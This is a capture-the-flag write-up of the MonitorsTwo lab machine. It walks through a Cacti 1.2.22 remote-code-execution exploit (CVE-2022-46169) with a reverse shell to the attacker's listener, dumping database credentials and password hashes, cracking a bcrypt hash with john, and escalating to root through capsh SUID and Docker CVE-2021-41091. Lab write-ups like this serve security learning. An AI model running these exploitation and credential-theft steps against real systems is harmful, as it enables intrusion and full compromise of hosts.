easy - MonitorsTwo (machine) Link to heading
User Flag Link to heading
I wanted to write this down in spanish but I’m not that used to switch my keyboard layout between english and spanish in vim, so…
➤ curl -s http://monitorstwo/ | elinks --dump
User Login
Enter your Username and Password below
Username [1]_____________________
Password [2]_____________________
[3][ ] Keep me signed in
[4][ Login ]
Version 1.2.22 | (c) 2004-2023 - The Cacti Group
So I remember this Cacti monitoring tool. Its getting interesting and nostalgic.
Scanning ports:
➤ sudo nmap -nv -Pn -sC -sV -O -T4 -oA nmap-scan monitorstwo
[sudo] password for n0kt:
sudo: nmap: command not found
Ok, I know I know, its been hard days.
I forgot some parameters purposes:
- -n/-R: Never do DNS resolution/Always resolve [default: sometimes]
- -v: Increase verbosity level (use -vv or more for greater effect)
- -Pn: Treat all hosts as online – skip host discovery
- -sV: Probe open ports to determine service/version info
- -sC: equivalent to –script=default
- -O: Enable OS detection
- -T4 for faster execution; and then the hostname.
By the way, these ports are open:
➤ cat nmap-scan.nmap | ag open
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
So we are using cacti v 1.2.22
➤ curl -s http://monitorstwo | ag version
<div class='versionInfo'>Version 1.2.22 | (c) 2004-2023 - The Cacti Group</div>
A quick googlefu says this CVE-2022-46169 is related. So I’ve found couple of exploits, one github repo that was recently created (strange, maybe the machine author?) and one from the classic exploit-db:
Both exloits are the same, just written in a different way, both injects a payload on file remote_agent.php on parameter poller_id.
# Attacker
➤ python3 51166.py -u http://monitorstwo --LHOST=10.10.14.3 --LPORT=55555
➤ nc -lvnp 55555
Connection from 10.10.11.211:51492
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@50bca5e748b0:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Looking for something useful:
# DB Creds!
$ grep -Ri database_ include/config.php
grep -Ri database_ include/config.php
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'db';
$database_username = 'root';
$database_password = 'root';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
$database_persist = false;
$ mysql --version
mysql --version
mysql Ver 15.1 Distrib 10.5.15-MariaDB, for debian-linux-gnu (x86_64) using EditLine wrapper
# Worked!
$ mysql -h db -u root -p -e "show databases;"
<w/html$ mysql -h db -u root -p -e "show databases;"
Enter password: root
Database
information_schema
cacti
mysql
performance_schema
sys
# Got this, now I just need to crack those hases
$ mysql -h db -u root -p -e "use cacti; select username, password, email_address from user_auth;"
< username, password, email_address from user_auth;"
Enter password: root
username password email_address
admin $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC [email protected]
guest 43e9a4ab75570f5b
marcus $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C [email protected]
So I left my friend john working, the passwsord it got was not for Cacti but for marcus ssh connection.
➤ john -w=/usr/share/dict/rockyou.txt hashes.txt
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
...
funkymonkey (?)
marcus@monitorstwo:~$ id
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
marcus@monitorstwo:~$ ls
user.txt
Root Flag Link to heading
So marcus doesn’t have sudo privs, there is no cronjobs for the user. But I’ve found something in the system processes:
marcus@monitorstwo:~$ ps aux | vim -
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 900 0.0 2.1 1455488 85572 ? Ssl Jun07 0:04 /usr/sbin/dockerd -H fd://
root 905 0.0 0.0 6816 2928 ? Ss Jun07 0:00 /usr/sbin/cron -f
root 909 0.3 0.8 1410928 34616 ? Ssl Jun07 0:29 /usr/bin/containerd
root 924 0.0 0.0 51212 1496 ? Ss Jun07 0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
www-data 925 0.0 0.1 51776 5264 ? S Jun07 0:00 nginx: worker process
www-data 926 0.0 0.1 51908 6044 ? S Jun07 0:00 nginx: worker process
root 1231 0.0 0.2 1452188 10896 ? Sl Jun07 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69 -address /run/containerd/containerd.sock
root 1332 0.0 0.0 1223816 3096 ? Sl Jun07 0:00 /usr/sbin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8080 -container-ip 172.19.0.3 -container-port 80
root 1347 0.0 0.2 1527072 10152 ? Sl Jun07 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e -address /run/containerd/containerd.sock
systemd+ 1602 0.0 0.3 24576 12164 ? Ss Jun07 0:01 /lib/systemd/systemd-resolved
root 1829 0.0 0.7 384860 29316 ? Ssl 00:22 0:00 /usr/libexec/fwupd/fwupd
root 1834 0.0 0.2 241192 9604 ? Ssl 00:22 0:00 /usr/lib/upower/upowerd
$ containerd --version
containerd github.com/containerd/containerd 1.4.5~ds1 1.4.5~ds1-2+deb11u1
$ docker -v
Docker version 20.10.5+dfsg1, build 55c4c88
Also, notice that nginx process running, wasn’t it apache2?
$ grep -R server_name /etc/nginx/*
/etc/nginx/sites-available/default: server_name cacti.monitorstwo.htb;
/etc/nginx/sites-enabled/default: server_name cacti.monitorstwo.htb;
I got it, apache2 is running inside a container where Cacti is hosted and via docker-proxy it is being exposed from port 8080 to port 80 via Nginx.
So I’ve noticed those containerd and docker versions:
- Containerd 1.4.5 has CVE-2021-41103
- Docker 20.10.5 has CVE-2021-41091 ( https://docs.docker.com/engine/release-notes/20.10/ )
The docker one is interesting, an attacker can manipulate base system files (/var/lib/docker) from within a container via SUID.
So let’s connect back to the cacti container using the cacti remote shell vuln we saw before.
# Search for a SUID bin file
www-data@50bca5e748b0:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/sbin/capsh
/bin/mount
/bin/umount
/bin/su
www-data@50bca5e748b0:/var/www/html$ capsh --gid=0 --uid=0 --
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
chmod u+s /bin/bash
And now from marcus ssh connection:
marcus@monitorstwo:~$ ./exploit.sh
[!] Vulnerable to CVE-2021-41091
[!] Now connect to your Docker container that is accessible and obtain root access !
[>] After gaining root access execute this command (chmod u+s /bin/bash)
Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): yes
[!] Available Overlay2 Filesystems:
/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[!] Iterating over the available Overlay2 filesystems !
[?] Checking path: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
[x] Could not get root access in '/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged'
[?] Checking path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[!] Rooted !
[>] Current Vulnerable Path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[?] If it didn't spawn a shell go to this path and execute './bin/bash -p'
[!] Spawning Shell
bash-5.1# exit
And voilá:
marcus@monitorstwo:~$ /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p
bash-5.1# id
uid=1000(marcus) gid=1000(marcus) euid=0(root) groups=1000(marcus)
bash-5.1# ls /root
cacti root.txt